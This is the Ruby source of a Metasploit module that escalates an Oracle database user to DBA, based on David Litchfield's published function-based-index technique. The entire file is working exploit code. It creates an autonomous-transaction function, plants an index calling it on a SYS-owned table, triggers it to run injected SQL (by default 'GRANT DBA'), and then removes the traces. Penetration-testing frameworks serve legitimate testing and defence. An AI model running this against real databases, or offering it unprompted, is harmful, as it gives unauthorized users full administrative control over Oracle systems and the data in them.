## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle DB Privilege Escalation via Function-Based Index', 'Description' => %q{ This module will escalate an Oracle DB user to DBA by creating a function-based index on a table owned by a more-privileged user. Credits to David Litchfield for publishing the technique. }, 'Author' => [ 'David Litchfield', # Vulnerability discovery and exploit 'Moshe Kaplan', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf' ], ], 'DisclosureDate' => '2015-01-21')) register_options( [ OptString.new('SQL', [ true, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}" ]), OptString.new('TABLE', [ true, 'Table to create the index on.', 'SYS.DUAL' ]), ]) end def run return unless check_dependencies func_name = Rex::Text.rand_text_alpha(6..10) create_function = <<-EOF CREATE OR REPLACE FUNCTION #{func_name} (FOO varchar) return varchar deterministic authid current_user is pragma autonomous_transaction; begin execute immediate '#{datastore['SQL'].gsub("'", "\\\\'")}'; commit; return ''; end; EOF index_name = Rex::Text.rand_text_alpha(6..10) param_value = Rex::Text.rand_text_alpha(2..6) create_index = "CREATE INDEX #{index_name} ON " \ "#{datastore['TABLE']}(#{datastore['DBUSER']}.#{func_name}('#{param_value}'))" trigger = "SELECT * FROM #{datastore['TABLE']}" clean_index = "drop index #{index_name}" clean_func = "drop function #{func_name}" print_status('Running exploit...') begin print_status("Attempting to create function #{func_name}...") prepare_exec(create_function) print_status("Attempting to create index #{index_name}...") prepare_exec(create_index) print_status('Querying to trigger function...') prepare_exec(trigger) print_status('Cleaning up index...') prepare_exec(clean_index) print_status('Cleaning up function...') prepare_exec(clean_func) print_status('Exploit complete!') rescue ::OCIError => e print_error("Error! #{e.message}") end end def prepare_exec(query) print_status(query) super end end